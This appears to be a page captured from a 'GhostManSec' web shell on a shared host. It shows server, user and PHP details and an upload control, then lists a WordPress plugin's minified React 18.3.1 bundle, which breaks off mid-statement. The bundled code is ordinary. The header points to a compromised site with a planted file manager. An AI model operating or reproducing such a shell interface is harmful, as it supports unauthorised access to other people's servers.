GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/0rvbeSEg.431dca.js
var v2=Object.defineProperty;var Jp=e=>{throw TypeError(e)};var g2=(e,t,n)=>t in e?v2(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var em=(e,t,n)=>g2(e,typeof t!="symbol"?t+"":t,n),qc=(e,t,n)=>t.has(e)||Jp("Cannot "+n);var S=(e,t,n)=>(qc(e,t,"read from private field"),n?n.call(e):t.get(e)),K=(e,t,n)=>t.has(e)?Jp("Cannot add the same private member more than once"):t instanceof WeakSet?t.add(e):t.set(e,n),F=(e,t,n,r)=>(qc(e,t,"write to private field"),r?r.call(e,n):t.set(e,n),n),te=(e,t,n)=>(qc(e,t,"access private method"),n);var Mo=(e,t,n,r)=>({set _(o){F(e,t,o,n)},get _(){return S(e,t,r)}});function Og(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}var YP=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function ph(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function GP(e){if(e.__esModule)return e;var t=e.default;if(typeof t=="function"){var n=function r(){return this instanceof r?Reflect.construct(t,arguments,this.constructor):t.apply(this,arguments)};n.prototype=t.prototype}else n={};return Object.defineProperty(n,"__esModule",{value:!0}),Object.keys(e).forEach(function(r){var o=Object.getOwnPropertyDescriptor(e,r);Object.defineProperty(n,r,o.get?o:{enumerable:!0,get:function(){return e[r]}})}),n}var Lg={exports:{}},pc={},Ag={exports:{}},ye={};/**
 * @license React
 * react.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var yl=Symbol.for("react.element"),y2=Symbol.for("react.portal"),w2=Symbol.for("react.fragment"),x2=Symbol.for("react.strict_mode"),b2=Symbol.for("react.profiler"),C2=Symbol.for("react.provider"),S2=Symbol.for("react.context"),E2=Symbol.for("react.forward_ref"),_2=Symbol.for("react.suspense"),k2=Symbol.for("react.memo"),R2=Symbol.for("react.lazy"),tm=Symbol.iterator;function P2(e){return e===null||typeof e!="object"?null:(e=tm&&e[tm]||e["@@iterator"],typeof e=="function"?e:null)}var Mg={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},Dg=Object.assign,jg={};function Ds(e,t,n){this.props=e,this.context=t,this.refs=jg,this.updater=n||Mg}Ds.prototype.isReactComponent={};Ds.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Ds.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function Ig(){}Ig.prototype=Ds.prototype;function mh(e,t,n){this.props=e,this.context=t,this.refs=jg,this.updater=n||Mg}var vh=mh.prototype=new Ig;vh.constructor=mh;Dg(vh,Ds.prototype);vh.isPureReactComponent=!0;var nm=Array.isArray,zg=Object.prototype.hasOwnProperty,gh={current:null},Fg={key:!0,ref:!0,__self:!0,__source:!0};function $g(e,t,n){var r,o={},i=null,s=null;if(t!=null)for(r in t.ref!==void 0&&(s=t.ref),t.key!==void 0&&(i=""+t.key),t)zg.call(t,r)&&!Fg.hasOwnProperty(r)&&(o[r]=t[r]);var a=arguments.length-2;if(a===1)o.children=n;else if(1<a){for(var l=Array(a),u=0;u<a;u++)l[u]=arguments[u+2];o.children=l}if(e&&e.defaultProps)for(r in a=e.defaultProps,a)o[r]===void 0&&(o[r]=a[r]);return{$$typeof:yl,type:e,key:i,ref:s,props:o,_owner:gh.current}}function T2(e,t){return{$$typeof:yl,type:e.type,key:t,ref:e.ref,props:e.props,_owner:e._owner}}function yh(e){return typeof e=="object"&&e!==null&&e.$$typeof===yl}function N2(e){var t={"=":"=0",":":"=2"};return"$"+e.replace(/[=:]/g,function(n){return t[n]})}var rm=/\/+/g;function Xc(e,t){return typeof e=="object"&&e!==null&&e.key!=null?N2(""+e.key):t.toString(36)}function iu(e,t,n,r,o){var i=typeof e;(i==="undefined"||i==="boolean")&&(e=null);var s=!1;if(e===null)s=!0;else switch(i){case"string":case"number":s=!0;break;case"object":switch(e.$$typeof){case yl:case y2:s=!0}}if(s)return s=e,o=o(s),e=r===""?"."+Xc(s,0):r,nm(o)?(n="",e!=null&&(n=e.replace(rm,"$&/")+"/"),iu(o,t,n,"",function(u){return u})):o!=null&&(yh(o)&&(o=T2(o,n+(!o.key||s&&s.key===o.key?"":(""+o.key).replace(rm,"$&/")+"/")+e)),t.push(o)),1;if(s=0,r=r===""?".":r+":",nm(e))for(var a=0;a<e.length;a++){i=e[a];var l=r+Xc(i,a);s+=iu(i,t,n,l,o)}else if(l=P2(e),typeof l=="function")for(e=l.call(e),a=0;!(i=e.next()).done;)i=i.value,l=r+Xc(i,a++),s+=iu(i,t,n,l,o);else if(i==="object")throw t=String(e),Error("Objects are not valid as a React child (found: "+(t==="[object Object]"?"object with keys {"+Object.keys(e).join(", ")+"}":t)+"). If you meant to render a collection of children, use an array instead.");return s}function Ll(e,t,n){if(e==null)return e;var r=[],o=0;return iu(e,r,"","",function(i){return t.call(n,i,o++)}),r}function O2(e){if(e._status===-1){var t=e._result;t=t(),t.then(function(n){(e._status===0||e._status===-1)&&(e._status=1,e._result=n)},function(n){(e._status===0||e._status===-1)&&(e._status=2,e._result=n)}),e._status===-1&&(e._status=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var Mt={current:null},su={transition:null},L2={ReactCurrentDispatcher:Mt,ReactCurrentBatchConfig:su,ReactCurrentOwner:gh};function Ug(){throw Error("act(...) is not supported in production builds of React.")}ye.Children={map:Ll,forEach:function(e,t,n){Ll(e,function(){t.apply(this,arguments)},n)},count:function(e){var t=0;return Ll(e,function(){t++}),t},toArray:function(e){return Ll(e,function(t){return t})||[]},only:function(e){if(!yh(e))throw Error("React.Children.only expected to receive a single React element child.");return e}};ye.Component=Ds;ye.Fragment=w2;ye.Profiler=b2;ye.PureComponent=mh;ye.StrictMode=x2;ye.Suspense=_2;ye.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=L2;ye.act=Ug;ye.cloneElement=function(e,t,n){if(e==null)throw Error("React.cloneElement(...): The argument must be a React element, but you passed "+e+".");var r=Dg({},e.props),o=e.key,i=e.ref,s=e._owner;if(t!=null){if(t.ref!==void 0&&(i=t.ref,s=gh.current),t.key!==void 0&&(o=""+t.key),e.type&&e.type.defaultProps)var a=e.type.defaultProps;for(l in t)zg.call(t,l)&&!Fg.hasOwnProperty(l)&&(r[l]=t[l]===void 0&&a!==void 0?a[l]:t[l])}var l=arguments.length-2;if(l===1)r.children=n;else if(1<l){a=Array(l);for(var u=0;u<l;u++)a[u]=arguments[u+2];r.children=a}return{$$typeof:yl,type:e.type,key:o,ref:i,props:r,_owner:s}};ye.createContext=function(e){return e={$$typeof:S2,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},e.Provider={$$typeof:C2,_context:e},e.Consumer=e};ye.createElement=$g;ye.createFactory=function(e){var t=$g.bind(null,e);return t.type=e,t};ye.createRef=function(){return{current:null}};ye.forwardRef=function(e){return{$$typeof:E2,render:e}};ye.isValidElement=yh;ye.lazy=function(e){return{$$typeof:R2,_payload:{_status:-1,_result:e},_init:O2}};ye.memo=function(e,t){return{$$typeof:k2,type:e,compare:t===void 0?null:t}};ye.startTransition=function(e){var t=su.transition;su.transition={};try{e()}finally{su.transition=t}};ye.unstable_act=Ug;ye.useCallback=function(e,t){return Mt.current.useCallback(e,t)};ye.useContext=function(e){return Mt.current.useContext(e)};ye.useDebugValue=function(){};ye.useDeferredValue=function(e){return Mt.current.useDeferredValue(e)};ye.useEffect=function(e,t){return Mt.current.useEffect(e,t)};ye.useId=function(){return Mt.current.useId()};ye.useImperativeHandle=function(e,t,n){return Mt.current.useImperativeHandle(e,t,n)};ye.useInsertionEffect=function(e,t){return Mt.current.useInsertionEffect(e,t)};ye.useLayoutEffect=function(e,t){return Mt.current.useLayoutEffect(e,t)};ye.useMemo=function(e,t){return Mt.current.useMemo(e,t)};ye.useReducer=function(e,t,n){return Mt.current.useReducer(e,t,n)};ye.useRef=function(e){return Mt.current.useRef(e)};ye.useState=function(e){return Mt.current.useState(e)};ye.useSyncExternalStore=function(e,t,n){return Mt.current.useSyncExternalStore(e,t,n)};ye.useTransition=function(){return Mt.current.useTransition()};ye.version="18.3.1";Ag.exports=ye;var h=Ag.exports;const j=ph(h),Bg=Og({__proto__:null,default:j},[h]);/**
 * @license React
 * react-jsx-runtime.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var A2=h,M2=Symbol.for("react.element"),D2=Symbol.for("react.fragment"),j2=Object.prototype.hasOwnProperty,I2=A2.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,z2={key:!0,ref:!0,__self:!0,__source:!0};function Vg(e,t,n){var r,o={},i=null,s=null;n!==void 0&&(i=""+n),t.key!==void 0&&(i=""+t.key),t.ref!==void 0&&(s=t.ref);for(r in t)j2.call(t,r)&&!z2.hasOwnProperty(r)&&(o[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps,t)o[r]===void 0&&(o[r]=t[r]);return{$$typeof:M2,type:e,key:i,ref:s,props:o,_owner:I2.current}}pc.Fragment=D2;pc.jsx=Vg;pc.jsxs=Vg;Lg.exports=pc;var E=Lg.exports,Hg={exports:{}},on={},Wg={exports:{}},Zg={};/**
 * @license React
 * scheduler.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */(function(e){function t(L,D){var q=L.length;L.push(D);e:for(;0<q;){var W=q-1>>>1,X=L[W];if(0<o(X,D))L[W]=D,L[q]=X,q=W;else break e}}function n(L){return L.length===0?null:L[0]}function r(L){if(L.length===0)return null;var D=L[0],q=L.pop();if(q!==D){L[0]=q;e:for(var W=0,X=L.length,we=X>>>1;W<we;){var ke=2*(W+1)-1,Xe=L[ke],ge=ke+1,Zt=L[ge];if(0>o(Xe,q))ge<X&&0>o(Zt,Xe)?(L[W]=Zt,L[ge]=q,W=ge):(L[W]=Xe,L[ke]=q,W=ke);else if(ge<X&&0>o(Zt,q))L[W]=Zt,L[ge]=q,W=ge;else break e}}return D}function o(L,D){var q=L.sortIndex-D.sortIndex;return q!==0?q:L.id-D.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;e.unstable_now=function(){return i.now()}}else{var s=Date,a=s.now();e.unstable_now=function(){return s.now()-a}}var l=[],u=[],c=1,f=null,d=3,m=!1,w=!1,g=!1,x=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,p=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function y(L){for(var D=n(u);D!==null;){if(D.callback===null)r(u);else if(D.startTime<=L)r(u),D.sortIndex=D.expirationTime,t(l,D);else break;D=n(u)}}function C(L){if(g=!1,y(L),!w)if(n(l)!==null)w=!0,le(_);else{var D=n(u);D!==null&&Q(C,D.startTime-L)}}function _(L,D){w=!1,g&&(g=!1,v(T),T=-1),m=!0;var q=d;try{for(y(D),f=n(l);f!==null&&(!(f.expirationTime>D)||L&&!$());){var W=f.callback;if(typeof W=="function"){f.callback=null,d=f.priorityLevel;var X=W(f.expirationTime<=D);D=e.unstable_now(),typeof X=="function"?f.callback=X:f===n(l)&&r(l),y(D)}else r(l);f=n(l)}if(f!==null)var we=!0;else{var ke=n(u);ke!==null&&Q(C,ke.startTime-D),we=!1}return we}finally{f=null,d=q,m=!1}}var b=!1,P=null,T=-1,O=5,M=-1;function $(){return!(e.unstable_now()-M<O)}function B(){if(P!==null){var L=e.unstable_now();M=L;var D=!0;try{D=P(!0,L)}finally{D?ne():(b=!1,P=null)}}else b=!1}var ne;if(typeof p=="function")ne=function(){p(B)};else if(typeof MessageChannel<"u"){var re=new MessageChannel,me=re.port2;re.port1.onmessage=B,ne=function(){me.postMessage(null)}}else ne=function(){x(B,0)};function le(L){P=L,b||(b=!0,ne())}function Q(L,D){T=x(function(){L(e.unstable_now())},D)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(L){L.callback=null},e.unstable_continueExecution=function(){w||m||(w=!0,le(_))},e.unstable_forceFrameRate=function(L){0>L||125<L?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):O=0<L?Math.floor(1e3/L):5},e.unstable_getCurrentPriorityLevel=function(){return d},e.unstable_getFirstCallbackNode=function(){return n(l)},e.unstable_next=function(L){switch(d){case 1:case 2:case 3:var D=3;break;default:D=d}var q=d;d=D;try{return L()}finally{d=q}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(L,D){switch(L){case 1:case 2:case 3:case 4:case 5:break;default:L=3}var q=d;d=L;try{return D()}finally{d=q}},e.unstable_scheduleCallback=function(L,D,q){var W=e.unstable_now();switch(typeof q=="object"&&q!==null?(q=q.delay,q=typeof q=="number"&&0<q?W+q:W):q=W,L){case 1:var X=-1;break;case 2:X=250;break;case 5:X=1073741823;break;case 4:X=1e4;break;default:X=5e3}return X=q+X,L={id:c++,callback:D,priorityLevel:L,startTime:q,expirationTime:X,sortIndex:-1},q>W?(L.sortIndex=q,t(u,L),n(l)===null&&L===n(u)&&(g?(v(T),T=-1):g=!0,Q(C,q-W))):(L.sortIndex=X,t(l,L),w||m||(w=!0,le(_))),L},e.unstable_shouldYield=$,e.unstable_wrapCallback=function(L){var D=d;return function(){var q=d;d=D;try{return L.apply(this,arguments)}finally{d=q}}}})(Zg);Wg.exports=Zg;var F2=Wg.exports;/**
 * @license React
 * react-dom.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var $2=h,rn=F2;function I(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var Qg=new Set,Pa={};function di(e,t){ys(e,t),ys(e+"Capture",t)}function ys(e,t){for(Pa[e]=t,e=0;e<t.length;e++)Qg.add(t[e])}var Cr=!(typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ud=Object.prototype.hasOwnProperty,U2=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,om={},im={};function B2(e){return Ud.call(im,e)?!0:Ud.call(om,e)?!1:U2.test(e)?im[e]=!0:(om[e]=!0,!1)}function V2(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function H2(e,t,n,r){if(t===null||typeof t>"u"||V2(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Dt(e,t,n,r,o,i,s){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=o,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=i,this.removeEmptyString=s}var mt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){mt[e]=new Dt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];mt[t]=new Dt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){mt[e]=new Dt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){mt[e]=new Dt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){mt[e]=new Dt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){mt[e]=new Dt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){mt[e]=new Dt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){mt[e]=new Dt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){mt[e]=new Dt(e,5,!1,e.toLowerCase(),null,!1,!1)});var wh=/[\-:]([a-z])/g;function xh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(wh,xh);mt[t]=new Dt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(wh,xh);mt[t]=new Dt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(wh,xh);mt[t]=new Dt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){mt[e]=new Dt(e,1,!1,e.toLowerCase(),null,!1,!1)});mt.xlinkHref=new Dt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){mt[e]=new Dt(e,1,!1,e.toLowerCase(),null,!0,!0)});function bh(e,t,n,r){var o=mt.hasOwnProperty(t)?mt[t]:null;(o!==null?o.type!==0:r||!(2<t.length)||t[0]!=="o"&&t[0]!=="O"||t[1]!=="n"&&t[1]!=="N")&&(H2(t,n,o,r)&&(n=null),r||o===null?B2(t)&&(n===null?e.removeAttribute(t):e.setAttribute(t,""+n)):o.mustUseProperty?e[o.propertyName]=n===null?o.type===3?!1:"":n:(t=o.attributeName,r=o.attributeNamespace,n===null?e.removeAttribute(t):(o=o.type,n=o===3||o===4&&n===!0?"":""+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}var Nr=$2.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,Al=Symbol.for("react.element"),Ti=Symbol.for("react.portal"),Ni=Symbol.for("react.fragment"),Ch=Symbol.for("react.strict_mode"),Bd=Symbol.for("react.profiler"),Kg=Symbol.for("react.provider"),Yg=Symbol.for("react.context"),Sh=Symbol.for("react.forward_ref"),Vd=Symbol.for("react.suspense"),Hd=Symbol.for("react.suspense_list"),Eh=Symbol.for("react.memo"),Zr=Symbol.for("react.lazy"),Gg=Symbol.for("react.offscreen"),sm=Symbol.iterator;function Ys(e){return e===null||typeof e!="object"?null:(e=sm&&e[sm]||e["@@iterator"],typeof e=="function"?e:null)}var Ke=Object.assign,Jc;function ua(e){if(Jc===void 0)try{throw Error()}catch(n){var t=n.stack.trim().match(/\n( *(at )?)/);Jc=t&&t[1]||""}return`
`+Jc+e}var ed=!1;function td(e,t){if(!e||ed)return"";ed=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(t)if(t=function(){throw Error()},Object.defineProperty(t.prototype,"props",{set:function(){throw Error()}}),typeof Reflect=="object"&&Reflect.construct){try{Reflect.construct(t,[])}catch(u){var r=u}Reflect.construct(e,[],t)}else{try{t.call()}catch(u){r=u}e.call(t.prototype)}else{try{throw Error()}catch(u){r=u}e()}}catch(u){if(u&&r&&typeof u.stack=="string"){for(var o=u.stack.split(`
`),i=r.stack.split(`
`),s=o.length-1,a=i.length-1;1<=s&&0<=a&&o[s]!==i[a];)a--;for(;1<=s&&0<=a;s--,a--)if(o[s]!==i[a]){if(s!==1||a!==1)do if(s--,a--,0>a||o[s]!==i[a]){var l=`
`+o[s].replace(" at new "," at ");return e.displayName&&l.includes("<anonymous>")&&(l=l.replace("<anonymous>",e.displayName)),l}while(1<=s&&0<=a);break}}}finally{ed=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?ua(e):""}function W2(e){switch(e.tag){case 5:return ua(e.type);case 16:return ua("Lazy");case 13:return ua("Suspense");case 19:return ua("SuspenseList");case 0:case 2:case 15:return e=td(e.type,!1),e;case 11:return e=td(e.type.render,!1),e;case 1:return e=td(e.type,!0),e;default:return""}}function Wd(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Ni:return"Fragment";case Ti:return"Portal";case Bd:return"Profiler";case Ch:return"StrictMode";case Vd:return"Suspense";case Hd:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case Yg:return(e.displayName||"Context")+".Consumer";case Kg:return(e._context.displayName||"Context")+".Provider";case Sh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Eh:return t=e.displayName||null,t!==null?t:Wd(e.type)||"Memo";case Zr:t=e._payload,e=e._init;try{return Wd(e(t))}catch{}}return null}function Z2(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Wd(t);case 8:return t===Ch?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function yo(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function qg(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function Q2(e){var t=qg(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var o=n.get,i=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return o.call(this)},set:function(s){r=""+s,i.call(this,s)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(s){r=""+s},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Ml(e){e._valueTracker||(e._valueTracker=Q2(e))}function Xg(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=qg(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function ku(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Zd(e,t){var n=t.checked;return Ke({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function am(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=yo(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function Jg(e,t){t=t.checked,t!=null&&bh(e,"checked",t,!1)}function Qd(e,t){Jg(e,t);var n=yo(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Kd(e,t.type,n):t.hasOwnProperty("defaultValue")&&Kd(e,t.type,yo(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function lm(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Kd(e,t,n){(t!=="number"||ku(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var ca=Array.isArray;function Bi(e,t,n,r){if(e=e.options,t){t={};for(var o=0;o<n.length;o++)t["$"+n[o]]=!0;for(n=0;n<e.length;n++)o=t.hasOwnProperty("$"+e[n].value),e[n].selected!==o&&(e[n].selected=o),o&&r&&(e[n].defaultSelected=!0)}else{for(n=""+yo(n),t=null,o=0;o<e.length;o++){if(e[o].value===n){e[o].selected=!0,r&&(e[o].defaultSelected=!0);return}t!==null||e[o].disabled||(t=e[o])}t!==null&&(t.selected=!0)}}function Yd(e,t){if(t.dangerouslySetInnerHTML!=null)throw Error(I(91));return Ke({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function um(e,t){var n=t.value;if(n==null){if(n=t.children,t=t.defaultValue,n!=null){if(t!=null)throw Error(I(92));if(ca(n)){if(1<n.length)throw Error(I(93));n=n[0]}t=n}t==null&&(t=""),n=t}e._wrapperState={initialValue:yo(n)}}function ey(e,t){var n=yo(t.value),r=yo(t.defaultValue);n!=null&&(n=""+n,n!==e.value&&(e.value=n),t.defaultValue==null&&e.defaultValue!==n&&(e.defaultValue=n)),r!=null&&(e.defaultValue=""+r)}function cm(e){var t=e.textContent;t===e._wrapperState.initialValue&&t!==""&&t!==null&&(e.value=t)}function ty(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function Gd(e,t){return e==null||e==="http://www.w3.org/1999/xhtml"?ty(t):e==="http://www.w3.org/2000/svg"&&t==="foreignObject"?"http://www.w3.org/1999/xhtml":e}var Dl,ny=function(e){return typeof MSApp<"u"&&MSApp.execUnsafeLocalFunction?function(t,n,r,o){MSApp.execUnsafeLocalFunction(function(){return e(t,n,r,o)})}:e}(function(e,t){if(e.namespaceURI!=="http://www.w3.org/2000/svg"||"innerHTML"in e)e.innerHTML=t;else{for(Dl=Dl||document.createElement("div"),Dl.innerHTML="<svg>"+t.valueOf().toString()+"</svg>",t=Dl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Ta(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var 